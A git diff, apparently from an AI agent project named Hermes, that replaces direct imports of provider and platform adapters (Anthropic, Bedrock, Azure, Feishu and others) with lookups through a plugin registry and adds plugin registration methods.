DingTalkAdapter, check_dingtalk_requirements - if not check_dingtalk_requirements(): - logger.warning("DingTalk: dingtalk-stream not installed or DINGTALK_CLIENT_ID/SECRET not set") - return None - return DingTalkAdapter(config) - - elif platform == Platform.FEISHU: - from gateway.platforms.feishu import FeishuAdapter, check_feishu_requirements - if not check_feishu_requirements(): - logger.warning("Feishu: lark-oapi not installed or FEISHU_APP_ID/SECRET not set") - return None - return FeishuAdapter(config) - elif platform == Platform.WECOM_CALLBACK: from gateway.platforms.wecom_callback import ( WecomCallbackAdapter, @@ -6247,13 +6220,6 @@ class GatewayRunner: return None return WeixinAdapter(config) - elif platform == Platform.MATRIX: - from gateway.platforms.matrix import MatrixAdapter, check_matrix_requirements - if not check_matrix_requirements(): - logger.warning("Matrix: mautrix not installed or credentials not set. Run: pip install 'mautrix[encryption]'") - return None - return MatrixAdapter(config) - elif platform == Platform.API_SERVER: from gateway.platforms.api_server import APIServerAdapter, check_api_server_requirements if not check_api_server_requirements(): @@ -11274,7 +11240,12 @@ class GatewayRunner: audio_path = None actual_path = None try: - from tools.tts_tool import text_to_speech_tool, _strip_markdown_for_tts + from agent.plugin_registries import registries + _tts_entry = registries.get_tool_provider("tts") + if _tts_entry is None: + return + text_to_speech_tool = _tts_entry.tool_functions["text_to_speech_tool"] + _strip_markdown_for_tts = _tts_entry.tool_functions["_strip_markdown_for_tts"] tts_text = _strip_markdown_for_tts(text[:4000]) if not tts_text: @@ -14527,9 +14498,32 @@ class GatewayRunner: return f"{prefix}\n\n{user_text}" return prefix - from tools.transcription_tools import transcribe_audio - + from agent.plugin_registries import registries + _stt_entry = registries.get_tool_provider("stt") enriched_parts = [] + if _stt_entry is None or "transcribe_audio" not in _stt_entry.tool_functions: + # No STT plugin registered — treat each audio path the same way + # as a "No STT provider" transcription failure. + for path in audio_paths: + abs_path = os.path.abspath(path) + duration_str = await _probe_audio_duration(abs_path) + if duration_str: + enriched_parts.append( + f"[The user sent a voice message: {abs_path} (duration: {duration_str})]" + ) + else: + enriched_parts.append(f"[The user sent a voice message: {abs_path}]") + if not enriched_parts: + return user_text + prefix = "\n\n".join(enriched_parts) + _placeholder = "(The user sent a message with no text content)" + if user_text and user_text.strip() == _placeholder: + return prefix + if user_text: + return f"{prefix}\n\n{user_text}" + return prefix + transcribe_audio = _stt_entry.tool_functions["transcribe_audio"] + for path in audio_paths: try: logger.debug("Transcribing user voice: %s", path) diff --git a/hermes_cli/auth.py b/hermes_cli/auth.py index 6f4fc344636..573b238e1de 100644 --- a/hermes_cli/auth.py +++ b/hermes_cli/auth.py @@ -1521,8 +1521,10 @@ def resolve_provider( # AWS Bedrock — detect via boto3 credential chain (IAM roles, SSO, env vars). # This runs after API-key providers so explicit keys always win. try: - from agent.bedrock_adapter import has_aws_credentials - if has_aws_credentials(): + from agent.plugin_registries import registries + _bedrock_ns = registries.get_provider_namespace("bedrock") + has_aws_credentials = _bedrock_ns.get("has_aws_credentials") + if has_aws_credentials and has_aws_credentials(): return "bedrock" except ImportError: pass # boto3 not installed — skip Bedrock auto-detection @@ -5781,8 +5783,13 @@ def get_auth_status(provider_id: Optional[str] = None) -> Dict[str, Any]: # AWS SDK providers (Bedrock) — check via boto3 credential chain if pconfig and pconfig.auth_type == "aws_sdk": try: - from agent.bedrock_adapter import has_aws_credentials - return {"logged_in": has_aws_credentials(), "provider": target} + from agent.plugin_registries import registries + _bedrock_ns = registries.get_provider_namespace("bedrock") + has_aws_credentials = _bedrock_ns.get("has_aws_credentials") + if has_aws_credentials: + return {"logged_in": has_aws_credentials(), "provider": target} + else: + return {"logged_in": False, "provider": target, "error": "boto3 not installed"} except ImportError: return {"logged_in": False, "provider": target, "error": "boto3 not installed"} return {"logged_in": False} @@ -5821,11 +5828,13 @@ def _get_azure_foundry_auth_status() -> Dict[str, Any]: if auth_mode == "entra_id": try: - from agent.azure_identity_adapter import ( - EntraIdentityConfig, - SCOPE_AI_AZURE_DEFAULT, - has_azure_identity_installed, - ) + from agent.plugin_registries import registries + _azure_ns = registries.get_provider_namespace("azure") + EntraIdentityConfig = _azure_ns.get("EntraIdentityConfig") + SCOPE_AI_AZURE_DEFAULT = _azure_ns.get("SCOPE_AI_AZURE_DEFAULT") + has_azure_identity_installed = _azure_ns.get("has_azure_identity_installed") + if not all([EntraIdentityConfig, SCOPE_AI_AZURE_DEFAULT, has_azure_identity_installed]): + raise ImportError("azure provider services not fully registered") installed = has_azure_identity_installed() entra_cfg = {} if isinstance(model_cfg, dict) and isinstance(model_cfg.get("entra"), dict): diff --git a/hermes_cli/auth_commands.py b/hermes_cli/auth_commands.py index 7a2f24b8d10..cc883887a50 100644 --- a/hermes_cli/auth_commands.py +++ b/hermes_cli/auth_commands.py @@ -549,8 +549,12 @@ def _interactive_auth() -> None: # Show AWS Bedrock credential status (not in the pool — uses boto3 chain) try: - from agent.bedrock_adapter import has_aws_credentials, resolve_aws_auth_env_var, resolve_bedrock_region - if has_aws_credentials(): + from agent.plugin_registries import registries + _bedrock = registries.get_provider_namespace("bedrock") + has_aws_credentials = _bedrock.get("has_aws_credentials") + resolve_aws_auth_env_var = _bedrock.get("resolve_aws_auth_env_var") + resolve_bedrock_region = _bedrock.get("resolve_bedrock_region") + if has_aws_credentials and has_aws_credentials(): auth_source = resolve_aws_auth_env_var() or "unknown" region = resolve_bedrock_region() print(f"bedrock (AWS SDK credential chain):") @@ -577,12 +581,12 @@ def _interactive_auth() -> None: _cfg_provider = str(_model_cfg.get("provider") or "").strip().lower() _cfg_auth_mode = str(_model_cfg.get("auth_mode") or "").strip().lower() if _cfg_provider == "azure-foundry" and _cfg_auth_mode == "entra_id": - from agent.azure_identity_adapter import ( - EntraIdentityConfig, - SCOPE_AI_AZURE_DEFAULT, - describe_active_credential, - has_azure_identity_installed, - ) + from agent.plugin_registries import registries + _azure = registries.get_provider_namespace("azure") + EntraIdentityConfig = _azure.get("EntraIdentityConfig") + SCOPE_AI_AZURE_DEFAULT = _azure.get("SCOPE_AI_AZURE_DEFAULT") + describe_active_credential = _azure.get("describe_active_credential") + has_azure_identity_installed = _azure.get("has_azure_identity_installed") _base_url = str(_model_cfg.get("base_url") or "").strip() _entra = _model_cfg.get("entra") or {} if not isinstance(_entra, dict): diff --git a/hermes_cli/doctor.py b/hermes_cli/doctor.py index 9bdbc77e7ef..a66eb4f6799 100644 --- a/hermes_cli/doctor.py +++ b/hermes_cli/doctor.py @@ -1530,12 +1530,14 @@ def run_doctor(args): return _ConnectivityResult("Anthropic API", [], []) try: import httpx - from agent.anthropic_adapter import ( - _is_oauth_token, - _COMMON_BETAS, - _OAUTH_ONLY_BETAS, - _CONTEXT_1M_BETA, - ) + from agent.plugin_registries import registries + _anthropic_ns = registries.get_provider_namespace("anthropic") + _is_oauth_token = _anthropic_ns.get("_is_oauth_token") + _COMMON_BETAS = _anthropic_ns.get("_COMMON_BETAS") + _OAUTH_ONLY_BETAS = _anthropic_ns.get("_OAUTH_ONLY_BETAS") + _CONTEXT_1M_BETA = _anthropic_ns.get("_CONTEXT_1M_BETA") + if not all([_is_oauth_token, _COMMON_BETAS, _OAUTH_ONLY_BETAS]): + raise ImportError("anthropic provider services not fully registered") headers = {"anthropic-version": "2023-06-01"} is_oauth = _is_oauth_token(key) if is_oauth: @@ -1679,11 +1681,13 @@ def run_doctor(args): def _probe_bedrock() -> _ConnectivityResult: try: - from agent.bedrock_adapter import ( - has_aws_credentials, - resolve_aws_auth_env_var, - resolve_bedrock_region, - ) + from agent.plugin_registries import registries + _bedrock_ns = registries.get_provider_namespace("bedrock") + has_aws_credentials = _bedrock_ns.get("has_aws_credentials") + resolve_aws_auth_env_var = _bedrock_ns.get("resolve_aws_auth_env_var") + resolve_bedrock_region = _bedrock_ns.get("resolve_bedrock_region") + if not all([has_aws_credentials, resolve_aws_auth_env_var, resolve_bedrock_region]): + raise ImportError("bedrock provider services not fully registered") except ImportError: return _ConnectivityResult("AWS Bedrock", [], []) if not has_aws_credentials(): @@ -1754,12 +1758,14 @@ def run_doctor(args): return _ConnectivityResult("Azure Foundry (Entra ID)", [], []) try: - from agent.azure_identity_adapter import ( - EntraIdentityConfig, - SCOPE_AI_AZURE_DEFAULT, - describe_active_credential, - has_azure_identity_installed, - ) + from agent.plugin_registries import registries + _azure_ns = registries.get_provider_namespace("azure") + EntraIdentityConfig = _azure_ns.get("EntraIdentityConfig") + SCOPE_AI_AZURE_DEFAULT = _azure_ns.get("SCOPE_AI_AZURE_DEFAULT") + describe_active_credential = _azure_ns.get("describe_active_credential") + has_azure_identity_installed = _azure_ns.get("has_azure_identity_installed") + if not all([EntraIdentityConfig, SCOPE_AI_AZURE_DEFAULT, describe_active_credential, has_azure_identity_installed]): + raise ImportError("azure provider services not fully registered") except Exception as exc: return _ConnectivityResult( "Azure Foundry (Entra ID)", diff --git a/hermes_cli/gateway.py b/hermes_cli/gateway.py index 86731957480..1dbbd459796 100644 --- a/hermes_cli/gateway.py +++ b/hermes_cli/gateway.py @@ -4370,7 +4370,9 @@ def _setup_feishu(): if method_idx == 0: # ── QR scan-to-create ── try: - from gateway.platforms.feishu import qr_register + from agent.plugin_registries import registries + _feishu_entry = registries.get_platform("feishu") + qr_register = _feishu_entry.helper_functions.get("qr_register") if _feishu_entry else None except Exception as exc: print_error(f" Feishu / Lark onboard import failed: {exc}") qr_register = None @@ -4411,8 +4413,13 @@ def _setup_feishu(): # Try to probe the bot with manual credentials bot_name = None try: - from gateway.platforms.feishu import probe_bot - bot_info = probe_bot(app_id, app_secret, domain) + from agent.plugin_registries import registries + _feishu_entry = registries.get_platform("feishu") + probe_bot = _feishu_entry.helper_functions.get("probe_bot") if _feishu_entry else None + if probe_bot: + bot_info = probe_bot(app_id, app_secret, domain) + else: + bot_info = None if bot_info: bot_name = bot_info.get("bot_name") print_success(f" Credentials verified — bot: {bot_name or 'unnamed'}") diff --git a/hermes_cli/main.py b/hermes_cli/main.py index a4578b16d1a..8c56f61251f 100644 --- a/hermes_cli/main.py +++ b/hermes_cli/main.py @@ -589,10 +589,12 @@ def _has_any_provider_configured() -> bool: # being installed doesn't mean the user wants Hermes to use their tokens. if _has_hermes_config: try: - from agent.anthropic_adapter import ( - read_claude_code_credentials, - is_claude_code_token_valid, - ) + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + read_claude_code_credentials = _anthropic.get("read_claude_code_credentials") + is_claude_code_token_valid = _anthropic.get("is_claude_code_token_valid") + if read_claude_code_credentials is None or is_claude_code_token_valid is None: + raise ImportError("anthropic plugin not registered") creds = read_claude_code_credentials() if creds and ( @@ -4087,13 +4089,15 @@ def _model_flow_azure_foundry(config, current_model=""): if use_entra: try: - from agent.azure_identity_adapter import ( - EntraIdentityConfig, - SCOPE_AI_AZURE_DEFAULT, - build_token_provider, - describe_active_credential, - has_azure_identity_installed, - ) + from agent.plugin_registries import registries + _azure = registries.get_provider_namespace("azure") + EntraIdentityConfig = _azure.get("EntraIdentityConfig") + SCOPE_AI_AZURE_DEFAULT = _azure.get("SCOPE_AI_AZURE_DEFAULT") + build_token_provider = _azure.get("build_token_provider") + describe_active_credential = _azure.get("describe_active_credential") + has_azure_identity_installed = _azure.get("has_azure_identity_installed") + if any(v is None for v in [EntraIdentityConfig, SCOPE_AI_AZURE_DEFAULT, build_token_provider, describe_active_credential, has_azure_identity_installed]): + raise ImportError("azure plugin not registered") except ImportError as exc: print() print(f"⚠ Could not import azure-identity adapter: {exc}") @@ -5407,12 +5411,14 @@ def _model_flow_bedrock(config, current_model=""): # 1. Check for AWS credentials try: - from agent.bedrock_adapter import ( - has_aws_credentials, - resolve_aws_auth_env_var, - resolve_bedrock_region, - discover_bedrock_models, - ) + from agent.plugin_registries import registries + _bedrock = registries.get_provider_namespace("bedrock") + has_aws_credentials = _bedrock.get("has_aws_credentials") + resolve_aws_auth_env_var = _bedrock.get("resolve_aws_auth_env_var") + resolve_bedrock_region = _bedrock.get("resolve_bedrock_region") + discover_bedrock_models = _bedrock.get("discover_bedrock_models") + if any(v is None for v in [has_aws_credentials, resolve_aws_auth_env_var, resolve_bedrock_region, discover_bedrock_models]): + raise ImportError("bedrock plugin not registered") except ImportError: print(" ✗ boto3 is not installed. Install it with:") print(" pip install boto3") @@ -5860,11 +5866,13 @@ def _model_flow_api_key_provider(config, provider_id, current_model=""): def _run_anthropic_oauth_flow(save_env_value): """Run the Claude OAuth setup-token flow. Returns True if credentials were saved.""" - from agent.anthropic_adapter import ( - run_oauth_setup_token, - read_claude_code_credentials, - is_claude_code_token_valid, - ) + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + run_oauth_setup_token = _anthropic.get("run_oauth_setup_token") + read_claude_code_credentials = _anthropic.get("read_claude_code_credentials") + is_claude_code_token_valid = _anthropic.get("is_claude_code_token_valid") + if run_oauth_setup_token is None: + raise ImportError("anthropic plugin not registered") from hermes_cli.config import ( save_anthropic_oauth_token, use_anthropic_claude_code_credentials, @@ -5972,11 +5980,13 @@ def _model_flow_anthropic(config, current_model=""): existing_key = get_anthropic_key() cc_available = False try: - from agent.anthropic_adapter import ( - read_claude_code_credentials, - is_claude_code_token_valid, - _is_oauth_token, - ) + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + read_claude_code_credentials = _anthropic.get("read_claude_code_credentials") + is_claude_code_token_valid = _anthropic.get("is_claude_code_token_valid") + _is_oauth_token = _anthropic.get("_is_oauth_token") + if any(v is None for v in [read_claude_code_credentials, is_claude_code_token_valid, _is_oauth_token]): + raise ImportError("anthropic plugin not registered") cc_creds = read_claude_code_credentials() if cc_creds and is_claude_code_token_valid(cc_creds): @@ -7977,71 +7987,13 @@ def _cleanup_quarantined_exes(scripts_dir: Path | None = None) -> None: def _refresh_active_lazy_features() -> None: - """Refresh lazy-installed backends after a code update. + """No-op — lazy deps removed. - When pyproject.toml's ``[all]`` extra was slimmed down (May 2026), most - optional backends moved to ``tools/lazy_deps.py`` and only install on - first use. ``hermes update`` runs ``uv pip install -e .[all]`` which - leaves those packages untouched — so if we bump a pin in - :data:`LAZY_DEPS` (CVE response, transitive bug fix), users who already - activated the backend keep the stale version forever. - - This function asks lazy_deps which features the user has previously - activated and reinstalls them under the current pins. Features the - user never enabled stay quiet — no churn for cold backends. - - Never raises. A failure here must not block the rest of the update. + Optional backends are now proper plugin packages (hermes-agent-anthropic, + hermes-agent-telegram, etc.) installed via extras. ``hermes update`` + refreshes them through ``uv pip install -e .[all]`` like any other dep. """ - try: - from tools import lazy_deps - except Exception as exc: - logger.debug("Lazy refresh skipped (import failed): %s", exc) - return - - try: - active = lazy_deps.active_features() - except Exception as exc: - logger.debug("Lazy refresh skipped (active_features failed): %s", exc) - return - - if not active: - return - - print() - print(f"→ Refreshing {len(active)} active lazy backend(s)...") - - try: - results = lazy_deps.refresh_active_features(prompt=False) - except Exception as exc: - # refresh_active_features is documented as never-raise, but defend - # the update flow against future regressions. - print(f" ⚠ Lazy refresh failed unexpectedly: {exc}") - return - - refreshed = [f for f, s in results.items() if s == "refreshed"] - current = [f for f, s in results.items() if s == "current"] - failed = [(f, s) for f, s in results.items() if s.startswith("failed:")] - skipped = [(f, s) for f, s in results.items() if s.startswith("skipped:")] - - if refreshed: - print(f" ↑ {len(refreshed)} refreshed: {', '.join(refreshed)}") - if current: - print(f" ✓ {len(current)} already current") - if skipped: - # Most common reason: security.allow_lazy_installs=false. Show one - # line so the user knows why; not an error. - names = ", ".join(f for f, _ in skipped) - reason = skipped[0][1].split(": ", 1)[-1] - print(f" · {len(skipped)} skipped ({reason}): {names}") - if failed: - for feature, status in failed: - reason = status.split(": ", 1)[-1] - # Clip noisy pip stderr to keep update output legible. - if len(reason) > 200: - reason = reason[:200] + "..." - print(f" ⚠ {feature} failed to refresh: {reason}") - print(" Backends keep their previously-installed version; rerun") - print(" `hermes update` once the upstream issue is resolved.") + pass def _install_python_dependencies_with_optional_fallback( diff --git a/hermes_cli/model_switch.py b/hermes_cli/model_switch.py index 0e01903eba9..30aa76a7dbb 100644 --- a/hermes_cli/model_switch.py +++ b/hermes_cli/model_switch.py @@ -1151,8 +1151,12 @@ def list_authenticated_providers( if slug_norm != current_norm: return False try: - from agent.bedrock_adapter import has_aws_credentials - return bool(has_aws_credentials()) + from agent.plugin_registries import registries + _bedrock_ns = registries.get_provider_namespace("bedrock") + has_aws_credentials = _bedrock_ns.get("has_aws_credentials") + if has_aws_credentials: + return bool(has_aws_credentials()) + return False except Exception: return False @@ -1332,10 +1336,12 @@ def list_authenticated_providers( # configured. if not has_creds and hermes_slug == "anthropic": try: - from agent.anthropic_adapter import ( - read_claude_code_credentials, - read_hermes_oauth_credentials, - ) + from agent.plugin_registries import registries + _anthropic_ns = registries.get_provider_namespace("anthropic") + read_claude_code_credentials = _anthropic_ns.get("read_claude_code_credentials") + read_hermes_oauth_credentials = _anthropic_ns.get("read_hermes_oauth_credentials") + if read_claude_code_credentials is None or read_hermes_oauth_credentials is None: + raise ImportError("anthropic credential readers not registered") hermes_creds = read_hermes_oauth_credentials() cc_creds = read_claude_code_credentials() if (hermes_creds and hermes_creds.get("accessToken")) or \ @@ -1359,7 +1365,11 @@ def list_authenticated_providers( # reflects the active region (eu.*, ap.*) not the static us.* list. elif overlay.auth_type == "aws_sdk": try: - from agent.bedrock_adapter import bedrock_model_ids_or_none + from agent.plugin_registries import registries + _bedrock_ns = registries.get_provider_namespace("bedrock") + bedrock_model_ids_or_none = _bedrock_ns.get("bedrock_model_ids_or_none") + if bedrock_model_ids_or_none is None: + raise ImportError("bedrock_model_ids_or_none not found") _ids = bedrock_model_ids_or_none() model_ids = _ids if _ids is not None else (curated.get(hermes_slug, []) or curated.get(pid, [])) except Exception: @@ -1436,7 +1446,11 @@ def list_authenticated_providers( # region (eu.*, us.*, ap.*) instead of the hardcoded us.* static list. if _cp_config and getattr(_cp_config, "auth_type", "") == "aws_sdk": try: - from agent.bedrock_adapter import bedrock_model_ids_or_none + from agent.plugin_registries import registries + _bedrock_ns = registries.get_provider_namespace("bedrock") + bedrock_model_ids_or_none = _bedrock_ns.get("bedrock_model_ids_or_none") + if bedrock_model_ids_or_none is None: + raise ImportError("bedrock_model_ids_or_none not found") _ids = bedrock_model_ids_or_none() _cp_model_ids = _ids if _ids is not None else curated.get(_cp.slug, []) except Exception: diff --git a/hermes_cli/models.py b/hermes_cli/models.py index 2617ecf33ab..d3285b21fd9 100644 --- a/hermes_cli/models.py +++ b/hermes_cli/models.py @@ -2284,7 +2284,11 @@ def provider_model_ids(provider: Optional[str], *, force_refresh: bool = False) # below — bedrock is not expected to appear in that table. if normalized == "bedrock": try: - from agent.bedrock_adapter import bedrock_model_ids_or_none + from agent.plugin_registries import registries + _bedrock_ns = registries.get_provider_namespace("bedrock") + bedrock_model_ids_or_none = _bedrock_ns.get("bedrock_model_ids_or_none") + if bedrock_model_ids_or_none is None: + raise ImportError("bedrock_model_ids_or_none not found in bedrock provider") ids = bedrock_model_ids_or_none() if ids is not None: return ids @@ -2331,7 +2335,15 @@ def _fetch_anthropic_models(timeout: float = 5.0) -> Optional[list[str]]: Claude Code auto-discovery). Returns sorted model IDs or None. """ try: - from agent.anthropic_adapter import resolve_anthropic_token, _is_oauth_token + from agent.plugin_registries import registries + _anthropic_ns = registries.get_provider_namespace("anthropic") + resolve_anthropic_token = _anthropic_ns.get("resolve_anthropic_token") + _is_oauth_token = _anthropic_ns.get("_is_oauth_token") + _COMMON_BETAS = _anthropic_ns.get("_COMMON_BETAS") + _OAUTH_ONLY_BETAS = _anthropic_ns.get("_OAUTH_ONLY_BETAS") + _CONTEXT_1M_BETA = _anthropic_ns.get("_CONTEXT_1M_BETA") + if resolve_anthropic_token is None or _is_oauth_token is None: + raise ImportError("anthropic provider services not registered") except ImportError: return None @@ -2343,8 +2355,8 @@ def _fetch_anthropic_models(timeout: float = 5.0) -> Optional[list[str]]: is_oauth = _is_oauth_token(token) if is_oauth: headers["Authorization"] = f"Bearer {token}" - from agent.anthropic_adapter import _COMMON_BETAS, _OAUTH_ONLY_BETAS, _CONTEXT_1M_BETA - headers["anthropic-beta"] = ",".join(_COMMON_BETAS + _OAUTH_ONLY_BETAS) + if _COMMON_BETAS and _OAUTH_ONLY_BETAS: + headers["anthropic-beta"] = ",".join(_COMMON_BETAS + _OAUTH_ONLY_BETAS) else: headers["x-api-key"] = token @@ -3703,7 +3715,12 @@ def validate_requested_model( # AWS SDK control plane (ListFoundationModels + ListInferenceProfiles). if normalized == "bedrock": try: - from agent.bedrock_adapter import discover_bedrock_models, resolve_bedrock_region + from agent.plugin_registries import registries + _bedrock_ns = registries.get_provider_namespace("bedrock") + discover_bedrock_models = _bedrock_ns.get("discover_bedrock_models") + resolve_bedrock_region = _bedrock_ns.get("resolve_bedrock_region") + if discover_bedrock_models is None or resolve_bedrock_region is None: + raise ImportError("bedrock discovery functions not registered") region = resolve_bedrock_region() discovered = discover_bedrock_models(region) discovered_ids = {m["id"] for m in discovered} diff --git a/hermes_cli/plugins.py b/hermes_cli/plugins.py index bd6367a44c8..062497c6ac5 100644 --- a/hermes_cli/plugins.py +++ b/hermes_cli/plugins.py @@ -778,6 +778,163 @@ class PluginContext: name, ) + # -- auth provider registration ------------------------------------------- + + def register_platform_entry( + self, + name: str, + adapter_class: type, + check_requirements: Callable, + available_flag: str = "", + constants: dict | None = None, + helper_functions: dict | None = None, + ) -> None: + """Register a platform adapter entry in the capability registries. + + This populates ``agent.plugin_registries.registries.platform_adapters`` + so core code can look up adapter classes, constants, and helper + functions without importing from ``hermes_agent_*`` packages directly. + + Call this **in addition to** :meth:`register_platform` — the two + registries serve different consumers: + + * ``register_platform`` → ``gateway.platform_registry`` (gateway + adapter creation, setup wizard, status) + * ``register_platform_entry`` → ``agent.plugin_registries`` (adapter + class access, constants, helpers for send_message_tool, etc.) + + Args: + name: Platform identifier (e.g. ``"telegram"``). + adapter_class: The adapter class itself (e.g. ``TelegramAdapter``). + check_requirements: Callable returning ``bool`` — are deps installed? + available_flag: Name of the module-level AVAILABLE boolean, if any. + constants: Platform-specific constants (e.g. + ``{"FEISHU_DOMAIN": ..., "LARK_DOMAIN": ...}``). + helper_functions: Platform-specific helpers (e.g. + ``{"_strip_mdv2": _strip_mdv2, "qr_register": qr_register}``). + """ + from agent.plugin_registries import registries, PlatformAdapterEntry + + entry = PlatformAdapterEntry( + name=name, + adapter_class=adapter_class, + check_requirements=check_requirements, + available_flag=available_flag, + constants=constants or {}, + helper_functions=helper_functions or {}, + ) + registries.register_platform(entry) + logger.debug( + "Plugin %s registered platform entry: %s", + self.manifest.name, + name, + ) + + def register_tool_provider_entry( + self, + name: str, + tool_functions: dict | None = None, + check_fn: Callable | None = None, + constants: dict | None = None, + config_functions: dict | None = None, + environment_classes: dict | None = None, + ) -> None: + """Register a tool provider entry in the capability registries. + + This populates ``agent.plugin_registries.registries.tool_providers`` + so core code can look up tool functions, constants, and config + helpers without importing from ``hermes_agent_*`` packages directly. + + Args: + name: Tool identifier (e.g. ``"tts"``, ``"stt"``). + tool_functions: Dict of function name → callable + (e.g. ``{"text_to_speech_tool": text_to_speech_tool}``). + check_fn: Optional callable returning ``bool`` — are deps + installed and configured? + constants: Tool-specific constants + (e.g. ``{"MAX_FILE_SIZE": 25 * 1024 * 1024}``). + config_functions: Config/utility functions + (e.g. ``{"is_stt_enabled": is_stt_enabled}``). + environment_classes: Environment classes for terminal backends + (e.g. ``{"DaytonaEnvironment": DaytonaEnvironment}``). + """ + from agent.plugin_registries import registries, ToolProviderEntry + + entry = ToolProviderEntry( + name=name, + tool_functions=tool_functions or {}, + check_fn=check_fn, + constants=constants or {}, + config_functions=config_functions or {}, + environment_classes=environment_classes or {}, + ) + registries.register_tool_provider(entry) + logger.debug( + "Plugin %s registered tool provider entry: %s", + self.manifest.name, + name, + ) + + def register_provider_services( + self, + name: str, + services: dict, + ) -> None: + """Register a namespace dict of provider-specific services. + + This is the escape hatch for model-provider plugins that expose many + symbols (anthropic has 50+). Each plugin registers its public surface + as a flat dict of ``{symbol_name: callable_or_value}``. Core code + looks up specific symbols instead of importing from the plugin + package directly. + + Args: + name: Provider identifier (e.g. ``"anthropic"``, ``"bedrock"``). + services: Dict of symbol name → callable or value. + """ + from agent.plugin_registries import registries + + registries.register_provider_services(name, services) + logger.debug( + "Plugin %s registered provider services: %s (%d symbols)", + self.manifest.name, + name, + len(services), + ) + + def register_auth_provider( + self, + name: str, + provider: Any, + *, + cli_group: str = "", + setup_subcommands: bool = False, + ) -> None: + """Register an authentication provider. + + ``provider`` must implement the :class:`agent.plugin_registries.AuthProvider` + protocol (``name``, ``has_credentials``, ``check_env_vars``, + ``resolve_token``, ``refresh_token``). It may also expose + provider-specific attributes (``_is_oauth_token``, + ``_HERMES_OAUTH_FILE``, ``read_claude_code_credentials``, etc.) + that core code accesses via the registry. + + Registered providers are queried by core code via + ``registries.get_auth_provider(name)`` instead of importing + directly from ``hermes_agent_*`` packages. + """ + from agent.plugin_registries import registries + + registries.register_auth_provider( + name, provider, + cli_group=cli_group, + setup_subcommands=setup_subcommands, + ) + logger.debug( + "Plugin %s registered auth provider: %s", + self.manifest.name, name, + ) + # -- hook registration -------------------------------------------------- # -- auxiliary task registration --------------------------------------- @@ -1034,6 +1191,11 @@ class PluginManager: ) logger.debug(" bundled/platforms: %d manifest(s)", len(bundled_platforms)) manifests.extend(bundled_platforms) + bundled_providers = self._scan_directory( + repo_plugins / "model-providers", source="bundled" + ) + logger.debug(" bundled/model-providers: %d manifest(s)", len(bundled_providers)) + manifests.extend(bundled_providers) # 2. User plugins (~/.hermes/plugins/) user_dir = get_hermes_home() / "plugins" @@ -1070,7 +1232,16 @@ class PluginManager: enabled = _get_enabled_plugins() # None = opt-in default (nothing enabled) winners: Dict[str, PluginManifest] = {} for manifest in manifests: - winners[manifest.key or manifest.name] = manifest + key = manifest.key or manifest.name + existing = winners.get(key) + # Bundled/workspace plugins take precedence over entry-points + # for the same key — the local source is the one we're + # actively developing; the entry-point is the published + # version. Only let entry-points fill gaps where no bundled + # version exists. + if existing is not None and existing.source == "bundled" and manifest.source != "bundled": + continue + winners[key] = manifest for manifest in winners.values(): lookup_key = manifest.key or manifest.name @@ -1098,30 +1269,12 @@ class PluginManager: ) continue - # Model provider plugins are loaded by providers/__init__.py - # (its own lazy discovery keyed off first get_provider_profile() - # call). We record the manifest here for introspection but do - # not import the module — a second import would create two - # ProviderProfile instances and break the "last writer wins" - # override semantics between bundled and user plugins. - if manifest.kind == "model-provider": - loaded = LoadedPlugin(manifest=manifest, enabled=True) - self._plugins[lookup_key] = loaded - logger.debug( - "Skipping '%s' (model-provider, handled by providers/ discovery)", - lookup_key, - ) - continue - - # Built-in backends auto-load — they ship with hermes and must - # just work. Selection among them (e.g. which image_gen backend - # services calls) is driven by ``.provider`` config, - # enforced by the tool wrapper. - # - # Bundled platform plugins (gateway adapters like IRC) auto-load - # for the same reason: every platform Hermes ships must be - # available out of the box without the user having to opt in. - if manifest.source == "bundled" and manifest.kind in {"backend", "platform"}: + # Model provider plugins auto-load just like backends and + # platforms. They register their provider services (auth, + # transport, metadata) via ctx.register_provider_services() + # in their register() function, which populates the + # capability registries that core code queries. + if manifest.source == "bundled" and manifest.kind in {"backend", "platform", "model-provider"}: self._load_plugin(manifest) continue diff --git a/hermes_cli/runtime_provider.py b/hermes_cli/runtime_provider.py index c40316e02cc..2b0d5fbbaef 100644 --- a/hermes_cli/runtime_provider.py +++ b/hermes_cli/runtime_provider.py @@ -976,11 +976,13 @@ def _resolve_azure_foundry_runtime( auth_mode = "api_key" else: try: - from agent.azure_identity_adapter import ( - EntraIdentityConfig, - SCOPE_AI_AZURE_DEFAULT, - build_token_provider, - ) + from agent.plugin_registries import registries + _azure_ns = registries.get_provider_namespace("azure") + EntraIdentityConfig = _azure_ns.get("EntraIdentityConfig") + SCOPE_AI_AZURE_DEFAULT = _azure_ns.get("SCOPE_AI_AZURE_DEFAULT") + build_token_provider = _azure_ns.get("build_token_provider") + if not all([EntraIdentityConfig, SCOPE_AI_AZURE_DEFAULT, build_token_provider]): + raise ImportError("azure provider services not fully registered") except Exception as exc: raise AuthError( "Azure Foundry Entra ID auth requires the 'azure-identity' " @@ -1072,7 +1074,11 @@ def _resolve_explicit_runtime( base_url = explicit_base_url or cfg_base_url or "https://api.anthropic.com" api_key = explicit_api_key if not api_key: - from agent.anthropic_adapter import resolve_anthropic_token + from agent.plugin_registries import registries + _anthropic_ns = registries.get_provider_namespace("anthropic") + resolve_anthropic_token = _anthropic_ns.get("resolve_anthropic_token") + if resolve_anthropic_token is None: + raise ImportError("anthropic provider services not registered") api_key = resolve_anthropic_token() if not api_key: @@ -1512,7 +1518,11 @@ def resolve_runtime_provider( "config.yaml model section at a custom env var." ) else: - from agent.anthropic_adapter import resolve_anthropic_token + from agent.plugin_registries import registries + _anthropic_ns = registries.get_provider_namespace("anthropic") + resolve_anthropic_token = _anthropic_ns.get("resolve_anthropic_token") + if resolve_anthropic_token is None: + raise ImportError("anthropic provider services not registered") token = resolve_anthropic_token() if not token: raise AuthError( @@ -1530,12 +1540,14 @@ def resolve_runtime_provider( # AWS Bedrock (native Converse API via boto3) if provider == "bedrock": - from agent.bedrock_adapter import ( - has_aws_credentials, - resolve_aws_auth_env_var, - resolve_bedrock_region, - is_anthropic_bedrock_model, - ) + from agent.plugin_registries import registries + _bedrock_ns = registries.get_provider_namespace("bedrock") + has_aws_credentials = _bedrock_ns.get("has_aws_credentials") + resolve_aws_auth_env_var = _bedrock_ns.get("resolve_aws_auth_env_var") + resolve_bedrock_region = _bedrock_ns.get("resolve_bedrock_region") + is_anthropic_bedrock_model = 